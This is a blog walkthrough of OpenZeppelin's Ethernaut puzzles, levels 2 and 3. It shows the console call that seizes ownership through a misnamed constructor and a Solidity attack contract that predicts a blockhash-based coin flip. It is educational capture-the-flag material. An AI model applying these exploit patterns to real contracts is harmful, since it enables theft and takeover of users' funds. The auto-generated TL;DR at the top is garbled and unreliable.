paint-brush
Open Zeppelin's Smart Contract Security Puzzles: Ethernaut Level 2 and 3 Walkthroughby@samarth9201
695 reads
695 reads

Open Zeppelin's Smart Contract Security Puzzles: Ethernaut Level 2 and 3 Walkthrough

by [email protected]November 1st, 2020
Read on Terminal Reader
Read this story w/o Javascript
tldt arrow

Too Long; Didn't Read

Open Zeppelin's Smart Contract Security Puzzles: Ethernaut Level 2 and 3 Walkthrough. The aim of the puzzle is to claim ownership of the contract. The vulnerability in the contract was the typo in the name of Fal1out() It was supposed to be a constructor, so its name was meant to be Fallout. The only function which changes Ownership of the. contract is Fal1 out() The function behaves similar to any other function, the function behaves like any other. function. It takes one parameter which is either true or false or true.
featured image - Open Zeppelin's Smart Contract Security Puzzles: Ethernaut Level 2 and 3 Walkthrough
scbhadane@gmail.com HackerNoon profile picture

This is an in-depth series of Blogs around OpenZeppelin's smart contract security puzzles. The aim of blogs is to provide a detailed explanation regarding various concepts of Solidity and EVM required to solve a Puzzle. It is highly recommended to attempt to solve these puzzles before reading further.

Level 2: Fallout

The Smart Contract Code provided is :

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

The aim of the puzzle is to claim ownership of the contract.

Let's Solve the Puzzle:

Analyzing the code :

We want to change ownership of the contract. The only function which changes Ownership of the contract is Fal1out().

Let's call the function and claim ownership.
In the Dev Console, call the Fal1out function and submit the instance.

>await contract.Fal1out()
{tx: "0x06f7162edfa833179373d1c17f41040bc384374886c5ddfd7cf28e69d2327507", receipt: {…}, logs: Array(0)}

That's It!

Check the owner of the contract and you should see your address.

The vulnerability in the contract was the typo in name of Fal1out(). It was supposed to be a constructor, so its name was supposed to be Fallout(). Since the name is not the same as that of contract, the function behaves similar to any other function.

Level 3: Coin Flip

The Smart Contract provided is :

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

The aim of the puzzle is to guess the outcome of the flip 10 times in a row.

Analysis of Code:

Let's check the flip function.

function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }

As we can see, the function takes one parameter which is _guess. It is boolean and it can be either true or false.

block.number => stores the block number of the last block.
blockhash(uint n) => returns hash of block number n.

blockValue is calculated and divided with FACTOR, the answer is stored in coinFlip. If coinFlip == 1, side = true else side = false.

Value of side if compared with _guess. If they are equal, consecutiveWins is incremented else consecutiveWins is set to 0.

So, now we can either call the flip function by making guesses and hope we can get 10 answers correct consecutively, or we can use another smart contract which will compute the result before calling the flip function and call the flip function with the result.

Let's define a contract which will compute a similar result and call the flip() function with an appropriate guess.

contract HackTheGame{
    
    using SafeMath for uint256;
    CoinFlip coinFlipContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
    constructor(CoinFlip _coinFlip) public{
        coinFlipContract = _coinFlip;
    }
    function makeGuess() public {
        
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool guess = coinFlip == 1 ? true : false;
        
        coinFlipContract.flip(guess);
    }
}

As it can be seen in HackTheGame contract, in makeGuess(), the guess is calculated in the similar way like "side" is calculated in flip function of CoinFlip contract. So, if we call the makeGuess() function 10 times, we can expect the guess to be correct.

You can now submit the instance.

Conclusion:

In these puzzles, we learned how a small typing mistake in the contract can lead to some major vulnerabilities. Also, we learnt how we can use another contract to hack a contract.